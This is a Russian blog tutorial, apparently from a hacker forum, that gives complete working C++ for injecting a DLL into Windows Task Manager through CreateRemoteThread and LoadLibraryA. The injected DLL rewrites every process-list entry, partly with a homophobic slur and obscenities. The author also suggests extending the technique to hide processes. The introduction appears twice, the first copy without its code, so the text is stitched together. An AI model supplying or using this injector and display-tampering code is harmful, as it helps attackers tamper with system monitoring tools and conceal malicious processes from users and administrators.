Добрый день друзья. Сегодня мы поговорим немного про инжекты в сторонний процесс и изменение сторонних окон.
В данном случае мы будем подменять вывод процессов стандартного диспетчера задач. Ну, что ж поехали!
Вся информация предоставляется исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред причиненный материалами данной статьи.
Сразу объясню, нам потребуется два проекта: инжектор(который будет инжектить нашу дллку в диспетчер) и dll (которая будет выполнять нужные нам изменения).
Инжектор
Сначала создаем консольный проект c++ и подключаем инклуды:
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <io.h>
далее опишем несколько нужных нам функций:
Ну и функция main() соответственно:
Ну, что ж, теперь переходим непосредственно к самой важной части, наша длл. Создаем проект dll убираем все лишнее и пишем следующий код(пожалуй дам его полностью, а не по частям и прокомментирую его, чтобы было понятнее):
Компилируем, ложим нашу длл рядом (чтобы не прописывать длинный путь) и запускаем.
Более внимательно изучив msdn по этому контролу вы сможете написать скрытие процесса. Таким образом можно работать с почти с любым видом программ, главное узнать какие он использует контролы для отображения.
В данном случае мы будем подменять вывод процессов стандартного диспетчера задач. Ну, что ж поехали!
Вся информация предоставляется исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред причиненный материалами данной статьи.
Сразу объясню, нам потребуется два проекта: инжектор(который будет инжектить нашу дллку в диспетчер) и dll (которая будет выполнять нужные нам изменения).
Инжектор
Сначала создаем консольный проект c++ и подключаем инклуды:
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <io.h>
далее опишем несколько нужных нам функций:
C++:
//функция проверки наличия процесса
DWORD GetProcessByName(char* process_name)
{
//делаем снепшот всех процессов в системе
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process;
DWORD proc_id = 0;
\\с каждым процессом передвигаемся к следующему пока не найдем нужный нам
if (Process32First(snapshot, &process))
{
while (Process32Next(snapshot, &process))
{
if (_stricmp(process.szExeFile, process_name) == 0)
{
proc_id = process.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
return proc_id;
}
//простая проверка наличия файла (можно было заморочиться конечно...)
bool FileExist(char* name)
{
return _access(name, 0) != -1;
}
//функция инжекта dll
bool Inject(DWORD pID, char* path)
{
HANDLE proc_handle;
LPVOID RemoteString;
LPCVOID LoadLibAddy;
if (pID == 0)
return false;
//открываем наш процесс
proc_handle = OpenProcess(PROCESS_ALL_ACCESS, false, pID);
if (proc_handle == 0)
return false;
//получаем адрес для инжекта
LoadLibAddy =
(LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
RemoteString = VirtualAllocEx(proc_handle, NULL, strlen(path), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//записываем в память процесса
WriteProcessMemory(proc_handle, RemoteString, path, strlen(path), NULL);
//запускаем
CreateRemoteThread(proc_handle, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, RemoteString, NULL, NULL);
CloseHandle(proc_handle);
return true;
}
Ну и функция main() соответственно:
C++:
int main()
{
//объявляем переменные
char process_name[32];
char dll_name[32];
char path[256];
//запрашиваем имя процесса
printf("proc name: ");
scanf("%s", process_name);
//пробуем его найти
DWORD pID = GetProcessByName(process_name);
printf("Waiting %s for start...\n", process_name);
for (;; Sleep(50))
{
if (pID == 0)
pID = GetProcessByName(process_name);
if (pID != 0) break;
}
printf("%s found (pid = %X)!\n", process_name, pID);
while (FileExist(path) == false)
{
//запрашиваем имя длл
printf("Enter DLL name: ");
scanf("%s", dll_name);
GetFullPathName(dll_name, sizeof(path), path, NULL);
if (FileExist(path))
{
printf("DLL found!\n");
break;
}
else
printf("DLL not found!\n");
}
printf("Preparing DLL for injection...\n");
//если все окей то запускаем инжект
if (Inject(pID, path))
{
printf("DLL successfully injected!\n");
system("pause");
}
else
{
printf("CRITICAL ERROR! \nDestroying window...\n");
Sleep(500);
}
}
Ну, что ж, теперь переходим непосредственно к самой важной части, наша длл. Создаем проект dll убираем все лишнее и пишем следующий код(пожалуй дам его полностью, а не по частям и прокомментирую его, чтобы было понятнее):
C++:
#include "Windows.h"
#include "commctrl.h"
#include <iostream>
//наши процессы в диспетчере хранятся в таком элементе управления
//как SysListView32(проверить можно с помощью spy++)
//для изменения этого элемента мы можем пользоваться
//стандартными макросами с msdn
//функция для изменения листа с процессами
void dellList(HWND hwnd)
{
//получаем количество элементов в листе
int count = ListView_GetItemCount(hwnd);
//перебираем все элементы и меняем их значения
for (int i = 0; i < count; i++)
{
//макрос принимает такие аргументы как: хендл контрола,
//индекс элемента(от 0), индекс подэлемента, текст для замены
ListView_SetItemText(hwnd, i, 0, (LPSTR)"Ты пидор!");
ListView_SetItemText(hwnd, i, 1, (LPSTR)"0");
ListView_SetItemText(hwnd, i, 2, (LPSTR)"Хуярит");
ListView_SetItemText(hwnd, i, 3, (LPSTR)"СИСТЕМА");
ListView_SetItemText(hwnd, i, 4, (LPSTR)"00");
ListView_SetItemText(hwnd, i, 5, (LPSTR)"0 K");
ListView_SetItemText(hwnd, i, 6, (LPSTR)"Microsoft");
}
}
//колбек функция для поиска нашего SysListView32
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
{
LPSTR str = (LPSTR)malloc(sizeof(LPSTR) * 14);;
if (GetClassNameA(hwnd, str, 14) != 0)
{
if (str[0] == 'S' && str[1] == 'y' && str[2] == 's' && str[3] == 'L' && str[4] == 'i' && str[5] == 's' && str[6] == 't' && str[7] == 'V' && str[8] == 'i')
dellList(hwnd);
}
return true;
}
//функция запуска поиска нужного окна и контрола
void start()
{
while (true) {
//в windows7 окно называется чуть по другому, проверьте
HWND hwnd = FindWindowA(NULL, "Диспетчер задач");
//после того как нашли окно давайте переберем все его дочерние
//окна, элементы и найдем нужное
EnumChildWindows(hwnd, EnumChildProc, NULL);
//Sleep(2000);
}
}
//точка входа
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
start();//запускаемся
break;
}
return TRUE;
}
Компилируем, ложим нашу длл рядом (чтобы не прописывать длинный путь) и запускаем.
Более внимательно изучив msdn по этому контролу вы сможете написать скрытие процесса. Таким образом можно работать с почти с любым видом программ, главное узнать какие он использует контролы для отображения.
Источник мой блог: @H1deMan Blog